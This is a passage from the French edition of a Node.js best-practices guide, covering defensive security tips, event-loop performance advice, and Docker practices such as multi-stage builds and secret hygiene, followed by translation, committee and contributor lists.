paquet.\n\n**Autrement :** [Avez-vous entendu parler du développeur d'eslint dont le mot de passe a été piraté ?](https://medium.com/@oprearocks/eslint-backdoor-what-it-is-and-how-to-fix-the-issue-221f58f1a8c8)\n\n<br/><br/>\n\n## ![✔] 6.22. Modifiez les paramètres du middleware de session\n\n<a href=\"https://www.owasp.org/index.php/Top_10-2017_A6-Security_Misconfiguration\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A6:Security%20Misconfiguration%20-green.svg\" alt=\"\"/></a>\n\n**TL;PL :** Chaque framework et technologie web a ses faiblesses connues - dire à un attaquant quel framework web nous utilisons est d'une grande aide pour lui. L'utilisation des paramètres par défaut des middlewares de session peut exposer votre application à des attaques de détournement sur un module ou un framework spécifique, de la même manière que l'entête « X-Powered-By ». Essayez de cacher tout ce qui identifie et révèle votre pile technique (par exemple, Node.js, express).\n\n**Autrement :** Les cookies peuvent être envoyés via des connexions non sécurisées, et un attaquant peut utiliser l'identification de session pour identifier le framework sous-jacent de l'application web, ainsi que les vulnérabilités spécifiques aux modules.\n\n🔗 [**Plus d'infos : cookie et sécurité des sessions**](./sections/security/sessions.french.md)\n\n<br/><br/>\n\n## ![✔] 6.23. Évitez les attaques DOS en définissant explicitement le moment où un processus doit s'interrompre\n\n<a href=\"https://www.owasp.org/index.php/Denial_of_Service\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20DDOS%20-green.svg\" alt=\"\"/></a>\n\n**TL;PL :** Le processus de Node plante lorsque les erreurs ne sont pas gérées. De nombreuses bonnes pratiques recommandent même de quitter Node même si une erreur a été détectée et traitée. Express, par exemple, plante sur toutes les erreurs asynchrones - à moins que vous n'ayez inclus une clause catch dans les routes. Cela ouvre un point d'attaque très intéressant pour les attaquants qui reconnaissent quelle entrée fait planter le processus et envoient la même requête de manière répétée. Il n'y a pas de remède immédiat à ce problème, mais quelques techniques peuvent atténuer la menace : alertez avec une gravité critique chaque fois qu'un processus se bloque à cause d'une erreur non gérée, valider l'entrée et éviter de planter le processus à cause d'une entrée utilisateur non valide, englober toutes les routes d'une clause catch et envisager de ne pas planter lorsqu'une erreur a été commise dans une requête (par opposition à ce qui se passe globalement).\n\n**Autrement :** Ce n'est qu'une intuition : étant donné le grand nombre d'applications Node.js, si nous essayons de faire passer un corps JSON vide à toutes les requêtes POST - une poignée d'applications plantera. À ce stade, il suffit de répéter l'envoi de la même requête pour faire tomber les applications avec facilité.\n\n<br/><br/>\n\n## ![✔] 6.24. Empêchez les redirections dangereuses\n\n<a href=\"https://www.owasp.org/index.php/Top_10-2017_A1-Injection\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A1:Injection%20-green.svg\" alt=\"\"/></a>\n\n**TL;PL :** Les redirections qui ne valident pas les entrées de l'utilisateur peuvent permettre aux attaquants de lancer des attaques de phishing, de voler les identifiants de l'utilisateur et d'effectuer d'autres actions malveillantes.\n\n**Autrement :** Si un attaquant découvre que vous ne validez pas les données externes fournies par l'utilisateur, il peut exploiter cette vulnérabilité en publiant des liens spécialement conçus sur des forums, des médias sociaux et d'autres lieux publics pour inciter les utilisateurs à cliquer.\n\n🔗 [**Plus d'infos : empêchez les redirections dangereuses**](./sections/security/saferedirects.french.md)\n\n<br/><br/>\n\n## ![✔] 6.25. Évitez de publier des secrets dans le registre npm\n\n<a href=\"https://www.owasp.org/index.php/Top_10-2017_A6-Security_Misconfiguration\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A6:Security%20Misconfiguration%20-green.svg\" alt=\"\"/></a>\n\n**TL;PL :** Des précautions doivent être prises pour éviter le risque de publier accidentellement des secrets dans les registres publics de npm. Un fichier `.npmignore` peut être utilisé pour ignorer des fichiers ou des dossiers spécifiques, ou le tableau `files` dans `package.json` peut agir comme une liste d'autorisation.\n\n**Autrement :** Les clés API, mots de passe ou autres secrets de votre projet sont susceptibles d'être utilisés abusivement par toute personne qui les découvre, ce qui peut entraîner des pertes financières, une usurpation d'identité et d'autres risques.\n\n🔗 [**Plus d'infos : évitez de publier des secrets**](./sections/security/avoid_publishing_secrets.french.md)\n<br/><br/><br/>\n\n<p align=\"right\"><a href=\"#table-des-matières\">⬆ Retourner en haut de la page</a></p>\n\n# `7. Brouillon : Bonnes pratiques de performance`\n\n## Nos contributeurs travaillent sur cette section. [Voulez-vous nous rejoindre ?](https://github.com/goldbergyoni/nodebestpractices/issues/256)\n\n<br/><br/>\n\n## ![✔] 7.1. Ne bloquez pas la boucle d'événement\n\n**TL;PL :** Évitez les tâches gourmandes en CPU car elles bloqueront la boucle d'événement principalement mono-thread, il faut les décharger vers un thread dédié, un processus ou même une technologie différente en fonction du contexte.\n\n**Autrement :** Comme la boucle d'événements est bloquée, Node.js sera incapable de traiter d'autres requêtes, ce qui entraînera des retards pour les utilisateurs concurrents. **3000 utilisateurs attendent une réponse, le contenu est prêt à être servi, mais une seule requêtes bloque le serveur pour qu'il ne puisse pas renvoyer les résultats**.\n\n🔗 [**Plus d'infos : ne bloquez pas la boucle d'événement**](./sections/performance/block-loop.french.md)\n\n<br /><br /><br />\n\n## ![✔] 7.2. Préférez les méthodes JS natives aux utilitaires comme Lodash\n\n**TL;PL :** Il est souvent plus pénalisant d'utiliser des bibliothèques utilitaires telles que `lodash` et `underscore` plutôt que des méthodes natives car cela conduit à des dépendances inutiles et à des performances plus lentes.\nGardez à l'esprit qu'avec l'introduction du nouveau moteur V8 en parallèle des nouvelles normes ES, les méthodes natives ont été améliorées de telle manière qu'elles sont maintenant environ 50% plus performantes que les bibliothèques utilitaires.\n\n**Autrement :** Vous devez maintenir des projets moins performants où vous auriez pu simplement utiliser ce qui était **déjà** disponible ou traiter quelques lignes supplémentaires en échange de quelques fichiers supplémentaires.\n\n🔗 [**Plus d'infos : natif supérieur aux utilitaires**](./sections/performance/nativeoverutil.french.md)\n\n<br/><br/><br/>\n\n<p align=\"right\"><a href=\"#table-des-matières\">⬆ Retourner en haut de la page</a></p>\n\n# `8. Bonnes pratiques de Docker`\n\n🏅 Un grand merci à [Bret Fisher](https://github.com/BretFisher) de qui nous avons appris plusieurs des pratiques suivantes\n\n<br/><br/>\n\n## ![✔] 8.1 Utilisez multi-stage builds pour des images Docker plus légères et plus sûres\n\n**TL;PL :** Utilisez multi-stage builds pour copier uniquement les artefacts de production nécessaires. Un grand nombre de dépendances et de fichiers au moment de la construction ne sont pas nécessaires pour exécuter votre application. Avec multi-stage builds, ces ressources peuvent être utilisées pendant la construction tandis que l'environnement d'exécution ne contient que ce qui est nécessaire. multi-stage builds est un moyen facile de se débarrasser du surpoids et des menaces de sécurité.\n\n**Autrement :** Les images plus grandes prendront plus de temps à construire et à livrer. Les outils uniquement de construction peuvent contenir des vulnérabilités. Et des secrets destinés uniquement à la phase de construction peuvent être divulgués.\n\n### Exemple de Dockerfile pour le multi-stage builds\n\n```dockerfile\nFROM node:14.4.0 AS build\n\nCOPY . .\nRUN npm ci && npm run build\n\n\nFROM node:slim-14.4.0\n\nUSER node\nEXPOSE 8080\n\nCOPY --from=build /home/node/app/dist /home/node/app/package.json /home/node/app/package-lock.json ./\nRUN npm ci --production\n\nCMD [ \"node\", \"dist/app.js\" ]\n```\n\n🔗 [**Plus d'infos : utilisez multi-stage builds**](./sections/docker/multi_stage_builds.french.md)\n\n<br /><br /><br />\n\n## ![✔] 8.2. Démarrez à l'aide de la commande `node`, évitez `npm start`\n\n**TL;PL :** Utilisez `CMD ['node','server.js']` pour démarrer votre application, évitez d'utiliser des scripts npm qui ne transmettent pas les signaux du système d'exploitation au code. Cela empêche les problèmes de processus fils, de gestion du signal, d'arrêt progressif et de processus zombies.\n\n**Autrement :** Si aucun signal n'est transmis, votre code ne sera jamais notifié des interruptions. Sans cela, il perdra sa chance de se fermer correctement, ce qui pourrait entraîner la perte de requêtes et/ou de données en cours.\n\n[**Plus d'infos : Démarrez un conteneur à l'aide de la commande node, évitez npm start**](./sections/docker/bootstrap-using-node.french.md)\n\n<br /><br /><br />\n\n## ![✔] 8.3. Laissez le système d'exécution Docker s'occuper de la réplication et de la disponibilité\n\n**TL;PL :** Lorsque vous utilisez un orchestrateur d'exécution Docker (par exemple, Kubernetes), appelez le processus Node.js directement sans gestionnaires de processus intermédiaires ou code personnalisé qui réplique le processus (par exemple, PM2, module Cluster). La plateforme d'exécution possède la plus grande quantité de données et la meilleure visibilité pour prendre des décisions de placement - Elle sait mieux que quiconque combien de processus sont nécessaires, comment les répartir et quoi faire en cas de plantage.\n\n**Autrement :** Le conteneur continue de se planter par manque de ressources et sera redémarré indéfiniment par le responsable du processus. Si Kubernetes est au courant de cela, il pourrait le déplacer vers une autre instance plus importante.\n\n🔗 [**Plus d'infos : laissez l'orchestrateur Docker redémarrer et répliquer les processus**](./sections/docker/restart-and-replicate-processes.french.md)\n\n<br/><br /><br />\n\n## ![✔] 8.4. Utilisez .dockerignore pour éviter les divulgations de secrets\n\n**TL;PL :** Ajoutez un fichier `.dockerignore` qui filtre les fichiers secrets courants et les artefacts de développement. Ainsi, vous pouvez éviter que des secrets ne s'infiltrent dans l'image. En prime, le temps de construction sera considérablement réduit. De plus, assurez-vous de ne pas copier tous les fichiers récursivement, choisissez plutôt explicitement ce qui doit être copié dans Docker.\n\n**Autrement :** Les fichiers secrets personnels habituels comme `.env`, `.aws` et `.npmrc` seront partagés avec toute personne ayant accès à l'image (par exemple le dépôt Docker).\n\n🔗 [**Plus d'infos : utilisez .dockerignore**](./sections/docker/docker-ignore.french.md)\n\n<br /><br /><br />\n\n## ![✔] 8.5. Nettoyez les dépendances avant la production\n\n**TL;PL :** Bien que des dépendances de développement soient parfois nécessaires pendant le cycle de vie de la construction et des tests, l'image qui est envoyée à la production doit être minimale et exempte de toute dépendance de développement. Cela garantit que seul le code nécessaire est livré et que la quantité d'attaques potentielles (c'est-à-dire la surface d'attaque) soit réduite au minimum. Lorsque l'on utilise un multi-stage build (voir le point consacré à ce sujet), cela peut être réalisé en installant d'abord toutes les dépendances et en exécutant enfin `npm ci --production`.\n\n**Autrement :** De nombreuses failles célèbres de sécurité de npm ont été trouvées dans des packages de développement (par exemple [eslint-scope](https://eslint.org/blog/2018/07/postmortem-for-malicious-package-publishes))\n\n🔗 Plus d'infos : [supprimez les dépendances de développement](./sections/docker/install-for-production.french.md)\n\n<br /><br /><br />\n\n## ![✔] 8.6. Arrêtez intelligemment et progressivement\n\n**TL;PL :** Gérez l'événement SIGTERM du processus et nettoyez toutes les connexions et ressources existantes. Cela doit être fait tout en répondant aux requêtes en cours. Dans des environnements d'exécution Dockerisés, l'arrêt des conteneurs n'est pas un événement rare, mais plutôt une occurrence fréquente qui se produit dans le cadre du travail routinier. Pour y parvenir, il faut un code réfléchi pour orchestrer plusieurs pièces mobiles : l'équilibreur de charge, les connexions persistantes, le serveur HTTP et d'autres ressources.\n\n**Autrement :** S'éteindre immédiatement signifie ne pas répondre aux milliers d'utilisateurs qui seront déçus.\n\n🔗 [**Plus d'infos : arrêt progressif**](./sections/docker/graceful-shutdown.french.md)\n\n<br /><br /><br />\n\n## ![✔] 8.7. Définissez des limites de mémoire en utilisant à la fois Docker et v8\n\n**TL;PL :** Configurez toujours une limite de mémoire en utilisant à la fois Docker et les indicateurs d'exécution JavaScript. La limite de Docker est nécessaire pour prendre une décision judicieuse de placement des conteneurs, l'indicateur max-old-space de --v8 est nécessaire pour lancer le GC à temps et éviter la sous-utilisation de la mémoire. Concrètement, il faut que cet indicateur de v8 soit juste un peu plus petit que la limite du conteneur.\n\n**Autrement :** La définition de docker est nécessaire pour prendre une décision judicieuse pour la mise à l'échelle et éviter de priver d'autres consommateurs de mémoire. Sans définir également les limites de v8, il sous-utilisera les ressources du conteneur - Sans instructions explicites, il se plantera lorsqu'il utilisera ~50-60% des ressources de ses hôtes.\n\n🔗 [**Plus d'infos : définissez des limites de mémoire en utilisant uniquement Docker**](./sections/docker/memory-limit.french.md)\n\n<br /><br /><br />\n\n## ![✔] 8.8. Organisez une mise en cache efficace\n\n**TL;PL :** La reconstruction d'une image entière de docker à partir du cache peut être presque instantanée si elle est faite correctement. Les instructions qui changent peu devraient se trouver en haut de votre Dockerfile et celles qui changent constamment (comme le code de l'application) devraient se trouver en bas.\n\n**Autrement :** La construction de docker sera très longue et consommera beaucoup de ressources, même en cas de changements minimes.\n\n🔗 [**Plus d'infos : exploiter la mise en cache pour réduire les temps de construction**](./sections/docker/use-cache-for-shorter-build-time.french.md)\n\n<br /><br /><br />\n\n## ![✔] 8.9. Utilisez une référence explicite de l'image, évitez le tag `latest`\n\n**TL;PL :** Précisez un condensé (_digest_) d'image explicite ou une étiquette versionnée, ne faites jamais référence à `latest`. Les développeurs sont souvent amenés à croire que la spécification du tag `latest` leur fournira l'image la plus récente dans le dépôt, mais ce n'est pas le cas. L'utilisation d'un digest garantit que chaque instance du service exécute exactement le même code.\n\nEn outre, la référence à un tag d'une image signifie que l'image de base est sujette à des modifications, car on ne peut pas se fier aux tags image pour une installation déterminée. En revanche, si une installation déterminée est prévue, un digest SHA256 peut être utilisé pour faire référence à une image exacte.\n\n**Autrement :** Une nouvelle version d'une image de base pourrait être déployée en production avec des modifications importantes, provoquant un comportement non souhaité de l'application.\n\n🔗 [**Plus d'infos : Comprendre les tags d'image et utiliser le tag \"latest\" avec précaution**](./sections/docker/image-tags.french.md)\n\n<br /><br /><br />\n\n## ![✔] 8.10. Privilégiez les plus petites images de base Docker\n\n**TL;PL :** Les images de grande taille entraînent une plus grande exposition aux vulnérabilités et une consommation accrue des ressources. L'utilisation d'images Docker plus fines, telles que les variantes Slim et Alpine de Linux, atténue ce problème.\n\n**Autrement :** Construire, pousser et tirer des images prendra plus de temps, des vecteurs d'attaque inconnus peuvent être utilisés par des acteurs malveillants et plus de ressources sont consommées.\n\n🔗 [**Plus d'infos : privilégiez les plus petites images**](./sections/docker/smaller_base_images.french.md)\n\n<br /><br /><br />\n\n## ![✔] 8.11. Nettoyez les secrets de construction, évitez les secrets dans les arguments\n\n**TL;PL :** Évitez que des secrets ne s'échappent de l'environnement de construction du Docker. Une image Docker est généralement partagée dans plusieurs environnements comme les CI et un registre qui ne sont pas aussi aseptisés que la production. Un exemple typique est un jeton npm qui est généralement transmis à un fichier Docker en tant qu'argument. Ce jeton reste dans l'image longtemps après qu'on en ait eu besoin et permet à l'attaquant d'accéder indéfiniment à un registre npm privé. Cela peut être évité en copiant un fichier secret comme `.npmrc` et en le supprimant en utilisant une construction en plusieurs étapes (attention, l'historique de la construction doit également être supprimé) ou en utilisant la fonctionnalité secrète Docker build-kit qui ne laisse aucune trace.\n\n**Autrement :** Toute personne ayant accès au CI et au registre des dockers aura également accès, en prime, à certains secrets précieux de l'organisation\n\n🔗 [**Plus d'infos : nettoyez les secrets de construction**](./sections/docker/avoid-build-time-secrets.french.md)\n\n<br /><br /><br />\n\n## ![✔] 8.12. Analysez les images pour détecter les multiples catégories de vulnérabilités\n\n**TL;PL :** En plus de vérifier les vulnérabilités des dépendances du code, il analyse également l'image finale qui est envoyée à la production. Les scanners d'images Docker vérifient les dépendances du code mais aussi les binaires du système d'exploitation. Ce scan de sécurité E2E couvre plus de terrain et vérifie qu'aucun mauvais gars n'a injecté de mauvaises choses pendant la construction. Par conséquent, il est recommandé de l'exécuter comme dernière étape avant le déploiement. Il existe une poignée de scanners gratuits et commerciaux qui fournissent également des plugins CI/CD.\n\n**Autrement :** Votre code pourrait être entièrement exempt de vulnérabilités. Cependant, il peut être piraté en raison de la vulnérabilité des versions binaires au niveau OS (par exemple, OpenSSL, TarBall) qui sont couramment utilisées par les applications.\n\n🔗 [**Plus d'infos : scannez l'ensemble de l'image avant la production**](./sections/docker/scan-images.french.md)\n\n<br /><br /><br />\n\n## ![✔] 8.13 Nettoyez le cache NODE_MODULE\n\n**TL;PL :** Après avoir installé les dépendances dans un conteneur, il faut supprimer le cache local. Il n'est pas logique de dupliquer les dépendances pour des installations futures plus rapides puisqu'il n'y aura pas d'autres installations - Une image du Docker est immuable. Une image du Docker est immuable. En utilisant une seule ligne de code, des dizaines de Mo (généralement 10 à 50 % de la taille de l'image) sont supprimées.\n\n**Autrement :** L'image qui sera envoyée à la production pèsera 30 % de plus à cause de fichiers qui ne seront jamais utilisés.\n\n🔗 [**Plus d'infos : nettoyez le cache NODE_MODULE**](./sections/docker/clean-cache.french.md)\n\n<br /><br /><br />\n\n## ![✔] 8.14. Les pratiques de Docker en général\n\n**TL;PL :** Il s'agit d'un recueil de conseils de Docker qui n'est pas directement lié à Node.js - la mise en œuvre de Node n'est pas très différente de celle de tout autre langage. Cliquez pour en savoir plus.\n\n🔗 [**Plus d'infos : les pratiques de Docker en général**](./sections/docker/generic-tips.french.md)\n\n<br/><br /><br />\n\n## ![✔] 8.15. Lintez votre Dockerfile\n\n**TL;PL :** Linter votre Dockerfile est une étape importante pour identifier les problèmes de votre Dockerfile qui diffèrent des meilleures pratiques. En vérifiant les failles potentielles à l'aide d'un linter Docker spécialisé, les améliorations de performance et de sécurité peuvent être facilement identifiées, ce qui permet d'économiser d'innombrables heures de perte de temps ou des problèmes de sécurité dans le code de production.\n\n**Autrement :** Par erreur, le créateur du Dockerfile a laissé Root comme utilisateur de production, et a également utilisé une image provenant d'un dépôt de source inconnue. Cela pourrait être évité avec un simple linter.\n\n🔗 [**Plus d'infos : lintez your Dockerfile**](./sections/docker/lint-dockerfile.french.md)\n\n<br/><br /><br />\n\n<p align=\"right\"><a href=\"#table-of-contents\">⬆ Return to top</a></p>\n\n# Jalons\n\nPour maintenir ce guide et le tenir à jour, nous actualisons et améliorons constamment les lignes directrices et les meilleures pratiques avec l'aide de la communauté. Vous pouvez suivre nos [jalons](https://github.com/goldbergyoni/nodebestpractices/milestones) et rejoindre les groupes de travail si vous souhaitez contribuer à ce projet\n\n<br/>\n\n## Traductions\n\nToutes les traductions sont fournies par la communauté. Nous serons heureux de recevoir toute aide concernant les traductions terminées, en cours ou nouvelles !\n\n### Traductions terminées\n\n- ![BR](./assets/flags/BR.png) [Portugais brésilien](./README.brazilian-portuguese.md) - Avec l'aimable autorisation de [Marcelo Melo](https://github.com/marcelosdm)\n- ![CN](./assets/flags/CN.png) [Chinois](./README.chinese.md) - Avec l'aimable autorisation de [Matt Jin](https://github.com/mattjin)\n- ![RU](./assets/flags/RU.png) [Russe](./README.russian.md) - Avec l'aimable autorisation de [Alex Ivanov](https://github.com/contributorpw)\n- ![PL](./assets/flags/PL.png) [Polonais](./README.polish.md) - Avec l'aimable autorisation de [Michal Biesiada](https://github.com/mbiesiad)\n- ![JA](./assets/flags/JA.png) [Japonais](./README.japanese.md) - Avec l'aimable autorisation de [Yuki Ota](https://github.com/YukiOta), [Yuta Azumi](https://github.com/YA21)\n- ![EU](./assets/flags/EU.png) [Basque](README.basque.md) - Avec l'aimable autorisation de [Ane Diaz de Tuesta](https://github.com/anediaz) & Joxefe Diaz de Tuesta\n\n### Traductions en cours\n\n- ![FR](./assets/flags/FR.png) [Français](./README.french.md) ([Discussion](https://github.com/goldbergyoni/nodebestpractices/issues/129))\n- ![HE](./assets/flags/HE.png) Hébreu ([Discussion](https://github.com/goldbergyoni/nodebestpractices/issues/156))\n- ![KR](./assets/flags/KR.png) [Coréen](README.korean.md) - Avec l'aimable autorisation de [Sangbeom Han](https://github.com/uronly14me) ([Discussion](https://github.com/goldbergyoni/nodebestpractices/issues/94))\n- ![ES](./assets/flags/ES.png) [Espagnol](https://github.com/goldbergyoni/nodebestpractices/blob/spanish-translation/README.spanish.md) ([Discussion](https://github.com/goldbergyoni/nodebestpractices/issues/95))\n- ![TR](./assets/flags/TR.png) Turque ([Discussion](https://github.com/goldbergyoni/nodebestpractices/issues/139))\n\n<br/><br/>\n\n## Comité de pilotage\n\nRencontrez les membres du comité de pilotage - les personnes qui travaillent ensemble pour fournir des conseils et des orientations futures au projet. En outre, chaque membre du comité dirige un projet suivi dans le cadre de nos [projets GitHub](https://github.com/goldbergyoni/nodebestpractices/projects).\n\n<img align=\"left\" width=\"100\" height=\"100\" src=\"assets/images/members/yoni.png\"/>\n\n[Yoni Goldberg](https://github.com/goldbergyoni)\n<a href=\"https://twitter.com/goldbergyoni\"><img src=\"assets/images/twitter-s.png\" width=\"16\" height=\"16\"></img></a>\n<a href=\"https://goldbergyoni.com\"><img src=\"assets/images/www.png\" width=\"16\" height=\"16\"></img></a>\n\nConsultant indépendant Node.js qui travaille avec des clients aux États-Unis, en Europe et en Israël sur la construction d'applications Node.js à grande échelle. Nombre des meilleures pratiques ci-dessus ont été publiées pour la première fois sur [goldbergyoni.com](https://goldbergyoni.com). Contactez Yoni via [@goldbergyoni](https://github.com/goldbergyoni) ou [me@goldbergyoni.com](mailto:me@goldbergyoni.com)\n\n<br/>\n\n<img align=\"left\" width=\"100\" height=\"100\" src=\"assets/images/members/bruno.png\"/>\n\n[Bruno Scheufler](https://github.com/BrunoScheufler)\n<a href=\"https://brunoscheufler.com/\"><img src=\"assets/images/www.png\" width=\"16\" height=\"16\"></img></a>\n\n💻 ingénieur web full-stack, passionné de Node.js & GraphQL\n\n<br/>\n\n<img align=\"left\" width=\"100\" height=\"100\" src=\"assets/images/members/kyle.png\"/>\n\n[Kyle Martin](https://github.com/js-kyle)\n<a href=\"https://twitter.com/kylemartin_93\"><img src=\"assets/images/twitter-s.png\" width=\"16\" height=\"16\"></img></a>\n<a href=\"https://www.linkedin.com/in/kylemartinnz\"><img src=\"assets/images/linkedin.png\" width=\"16\" height=\"16\"></img></a>\n\nDéveloppeur Full Stack et ingénieur de fiabilité de site basé en Nouvelle-Zélande, intéressé par la sécurité des applications web, et l'architecture et la construction d'applications Node.js pour fonctionner à l'échelle mondiale.\n\n<br/>\n\n<img align=\"left\" width=\"100\" height=\"100\" src=\"assets/images/members/kevyn.png\"/>\n\n[Kevyn Bruyere](https://github.com/kevynb)\n<a href=\"https://www.linkedin.com/in/kevynbruyere/\"><img src=\"assets/images/linkedin.png\" width=\"16\" height=\"16\"></img></a>\n\nDéveloppeur indépendant full-stack ayant un penchant pour les Ops et l'automatisation.\n\n<br/>\n\n### Comité de pilotage émérite\n\n<img align=\"left\" width=\"100\" height=\"100\" src=\"assets/images/members/sagir.png\"/>\n\n[Sagir Khan](https://github.com/sagirk)\n<a href=\"https://twitter.com/sagir_k\"><img src=\"assets/images/twitter-s.png\" width=\"16\" height=\"16\"></img></a>\n<a href=\"https://linkedin.com/in/sagirk\"><img src=\"assets/images/linkedin.png\" width=\"16\" height=\"16\"></img></a>\n<a href=\"https://sagirk.com\"><img src=\"assets/images/www.png\" width=\"16\" height=\"16\"></img></a>\n\nSpécialiste de JavaScript et de son écosystème - React, Node.js, TypeScript, GraphQL, MongoDB, à peu près tout ce qui implique JS/JSON dans n'importe quelle couche du système - construisant des produits en utilisant la plateforme web pour les marques les plus reconnues au monde. Membre individuel de la Fondation Node.js.\n\n<br/>\n\n## Collaborateurs\n\nMerci à tous nos collaborateurs ! 🙏\n\nNos collaborateurs sont des membres qui contribuent régulièrement au dépôt, en suggérant de nouvelles bonnes pratiques, en triant les issues, en examinant les pull request et bien d'autres choses encore. Si vous souhaitez nous aider à guider des milliers de personnes à créer de meilleures applications Node.js, veuillez lire nos [directives pour les contributeurs](./.operations/CONTRIBUTING.md) 🎉\n\n| <a href=\"https://github.com/idori\" target=\"_blank\"><img src=\"assets/images/members/ido.png\" width=\"75\" height=\"75\"/></a> | <a href=\"https://github.com/TheHollidayInn\" target=\"_blank\"><img src=\"assets/images/members/keith.png\" width=\"75\" height=\"75\"/></a> | <a href=\"https://github.com/rluvaton\" target=\"_blank\"><img src=\"assets/images/members/raz-luvaton.jpg\" width=\"75\" height=\"75\" alt=\"Raz Luvaton\" loading=\"lazy\"/></a> | <a href=\"https://github.com/josh-hemphill\" target=\"_blank\"><img src=\"assets/images/members/josh-hemphill.png\" width=\"75\" height=\"75\" alt=\"Josh Hemphill\" loading=\"lazy\"/></a> |\n| :--: | :--: | :--: | :--: |\n| [Ido Richter (Founder)](https://github.com/idori) | [Keith Holliday](https://github.com/TheHollidayInn) | [Raz Luvaton](https://github.com/rluvaton) | [Josh Hemphill](https://github.com/josh-hemphill) |\n\n### Collaborateur émérite\n\n| <a href=\"https://github.com/refack\" target=\"_blank\"><img src=\"assets/images/members/refael.png\" width=\"50\" height=\"50\"/></a> |\n| :-------------------------------------------------------------------------------------------------------------------------: |\n|                                        [Refael Ackermann](https://github.com/refack)                                        |\n\n<br/>\n\n## Contribution\n\nSi vous avez toujours voulu contribuer à l'open source, voici votre chance ! Consultez les [documents de contributions](.operations/CONTRIBUTING.md) pour plus d'information.\n\n## Contributeurs ✨\n\nMerci à ces merveilleuses personnes qui ont contribué à ce dépôt !\n\n<!-- ALL-CONTRIBUTORS-LIST:START - Do not remove or modify this section -->\n<!-- prettier-ignore-start -->\n<!-- markdownlint-disable -->\n<table>\n  <tbody>\n    <tr>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/kevinrambaud\"><img src=\"https://avatars1.githubusercontent.com/u/7501477?v=4\" width=\"100px;\" alt=\"Kevin Rambaud\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Kevin Rambaud</b></sub></a><br /><a href=\"#content-kevinrambaud\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/mfine15\"><img src=\"https://avatars1.githubusercontent.com/u/1286554?v=4\" width=\"100px;\" alt=\"Michael Fine\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Michael Fine</b></sub></a><br /><a href=\"#content-mfine15\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"http://squgeim.github.io\"><img src=\"https://avatars0.githubusercontent.com/u/4996818?v=4\" width=\"100px;\" alt=\"Shreya Dahal\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Shreya Dahal</b></sub></a><br /><a href=\"#content-squgeim\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"http://matheusrocha89.com\"><img src=\"https://avatars1.githubusercontent.com/u/3718366?v=4\" width=\"100px;\" alt=\"Matheus Cruz Rocha\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Matheus Cruz Rocha</b></sub></a><br /><a href=\"#content-matheusrocha89\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://bityog.github.io/Portfolio/\"><img src=\"https://avatars2.githubusercontent.com/u/28219178?v=4\" width=\"100px;\" alt=\"Yog Mehta\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Yog Mehta</b></sub></a><br /><a href=\"#content-BitYog\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"http://kudapara.co.zw\"><img src=\"https://avatars3.githubusercontent.com/u/13519184?v=4\" width=\"100px;\" alt=\"Kudakwashe Paradzayi\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Kudakwashe Paradzayi</b></sub></a><br /><a href=\"#content-kudapara\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://www.t1st3.com/\"><img src=\"https://avatars1.githubusercontent.com/u/1469638?v=4\" width=\"100px;\" alt=\"t1st3\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>t1st3</b></sub></a><br /><a href=\"#content-t1st3\" title=\"Content\">🖋</a></td>\n    </tr>\n    <tr>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/mulijordan1976\"><img src=\"https://avatars0.githubusercontent.com/u/33382022?v=4\" width=\"100px;\" alt=\"mulijordan1976\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>mulijordan1976</b></sub></a><br /><a href=\"#content-mulijordan1976\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://twitter.com/matchai\"><img src=\"https://avatars0.githubusercontent.com/u/4658208?v=4\" width=\"100px;\" alt=\"Matan Kushner\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Matan Kushner</b></sub></a><br /><a href=\"#content-matchai\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://fabiothiroki.github.io\"><img src=\"https://avatars2.githubusercontent.com/u/670057?v=4\" width=\"100px;\" alt=\"Fabio Hiroki\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Fabio Hiroki</b></sub></a><br /><a href=\"#content-fabiothiroki\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"http://james.sumners.info/\"><img src=\"https://avatars1.githubusercontent.com/u/321201?v=4\" width=\"100px;\" alt=\"James Sumners\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: 